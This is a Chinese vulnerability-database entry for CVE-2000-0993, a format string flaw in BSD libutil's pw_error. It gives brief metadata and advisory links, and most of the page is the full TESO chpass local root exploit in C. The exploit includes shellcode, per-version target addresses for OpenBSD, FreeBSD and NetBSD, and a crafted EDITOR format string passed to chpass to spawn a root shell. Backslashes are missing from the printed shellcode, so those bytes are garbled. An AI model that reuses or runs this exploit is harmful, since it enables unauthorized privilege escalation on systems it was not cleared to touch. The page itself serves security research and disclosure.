BSD libutil格式字符串漏洞

BSD libutil格式字符串漏洞

漏洞ID 1106163 漏洞类型 格式化字符串
发布时间 2001-01-12 更新时间 2005-05-02
图片[1]-BSD libutil格式字符串漏洞-安全小百科CVE编号 CVE-2000-0993
图片[2]-BSD libutil格式字符串漏洞-安全小百科CNNVD-ID CNNVD-200012-189
漏洞平台 BSD CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/243
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-189
|漏洞详情
BSDlibutil程序库中的pw_error函数存在格式字符串漏洞。本地用户可以借助命令中的畸形密码例如chpass或passwd来获取根权限。
|漏洞EXP
/*
 * TESO BSD chpass exploit - caddis <[email protected]>
 *
 * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
 *
 */
#include <stdio.h>

char bsd_shellcode[] =
"xebx16x5ex31xc0x8dx0ex89"
"x4ex08x89x46x0cx8dx4ex08"
"x50x51x56x50xb0x3bxcdx80"
"xe8xe5xffxffxff/bin/sh";

char ptmp_shellcode[] = 
"xebx26x5ex31xdbx88x5ex07"
"x89x76x12x89x5ex16x8dx4e"
"x12x8dx56x08x31xc0x52x53"
"xb0x0axcdx80x53x51x56x53"
"xb0x3bxcdx80xb0x01xcdx80"
"xe8xd5xffxffxff/bin/sh!/etc/ptmp";

struct platform {
    char *name;
    unsigned short count;
    unsigned long dest_addr;
    unsigned long shell_addr;
    char *shellcode;
};

struct platform targets[9] = 
{
    { "OpenBSD 2.7 i386       ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
    { "OpenBSD 2.6 i386       ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
    { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
    { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
    { "FreeBSD 4.0-RELEASE    ", 167,  0x805023c, 0xbfbffc68, bsd_shellcode  },
    { "FreeBSD 3.5-RELEASE    ", 135,  0x804fa58, 0xbfbfdcac, bsd_shellcode  },
    { "FreeBSD 3.4-RELEASE    ", 131,  0x804f988, 0xbfbfdcd0, bsd_shellcode  },
    { "NetBSD 1.4.2           ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode  },
    { NULL, 0, 0, 0, NULL }
};
 
char jmpcode[129];
char fmt_string[1000];

char *args[] = { "chpass", NULL };
char *envs[] = { jmpcode, fmt_string, NULL };

void usage(char *name)
{
    printf("%s <TARGET>n"
           "1 - OpenBSD 2.7 i386n"
           "2 - OpenBSD 2.6 i386n"
           "3 - OpenBSD 2.5 1999/08/06n"
           "4 - OpenBSD 2.5 1998/05/28n"
           "5 - FreeBSD 4.0-RELEASEn"
           "6 - FreeBSD 3.5-RELEASEn"
           "7 - FreeBSD 3.4-RELEASEn"
           "8 - NetBSD 1.4.2n", name);
    exit(1);
}

int main(int argc, char *argv[])
{
    char *p;
    int x, len = 0;
    struct platform *target;
    unsigned short low, high;
    unsigned long shell_addr[2], dest_addr[2];

    if (argc != 2)
        usage(argv[0]);

    x = atoi(argv[1]) - 1;
    if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform
)) - 1 || x < 0)
        usage(argv[0]);

    target = &targets[x];

    memset(jmpcode, 0x90, sizeof(jmpcode));
    strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shell
code);
 
    strcat(fmt_string, "EDITOR=");
    for (x = 0; x < target->count; x++) {
        strcat(fmt_string, "%8x");
        len += 8;
    }

    shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
    shell_addr[1] =  target->shell_addr & 0xffff;

    if (shell_addr[1] > shell_addr[0]) {
        dest_addr[0] = target->dest_addr+2;
        dest_addr[1] = target->dest_addr;
        low  = shell_addr[0] - len;
        high = shell_addr[1] - low - len;
    } else {
        dest_addr[0] = target->dest_addr;
        dest_addr[1] = target->dest_addr+2;
        low  = shell_addr[1] - len;
        high = shell_addr[0] - low - len;
    }

    /* allign on 4byte boundry relative to ebp */
    *(long *)&jmpcode[1]  = 0x11111111;
    *(long *)&jmpcode[5]  = dest_addr[0];
    *(long *)&jmpcode[9]  = 0x11111111;
    *(long *)&jmpcode[13] = dest_addr[1];

    p = fmt_string + strlen(fmt_string);
    sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);

    execve("/usr/bin/chpass", args, envs);
    perror("execve");
}


// milw0rm.com [2001-01-12]
|参考资料

来源:XF
名称:bsd-libutil-format
链接:http://xforce.iss.net/static/5339.php
来源:BID
名称:1744
链接:http://www.securityfocus.com/bid/1744
来源:OPENBSD
名称:20001003Aformatstringvulnerabilityexistsinthepw_error(3)function.
链接:http://www.openbsd.org/errata27.html#pw_error
来源:BUGTRAQ
名称:20001004Re:OpenBSDSecurityAdvisory
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=97068555106135&w;=2
来源:NETBSD
名称:NetBSD-SA2000-015
链接:ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/advisories/NetBSD-SA2000-015.txt.asc
来源:FREEBSD
名称:FreeBSD-SA-00:58
链接:ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:58.chpass.asc

相关推荐: Cherokee HTTPD Auth_Pam Authentication Remote Format String Vulnerability

Cherokee HTTPD Auth_Pam Authentication Remote Format String Vulnerability 漏洞ID 1097643 漏洞类型 Input Validation Error 发布时间 2004-11-01…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享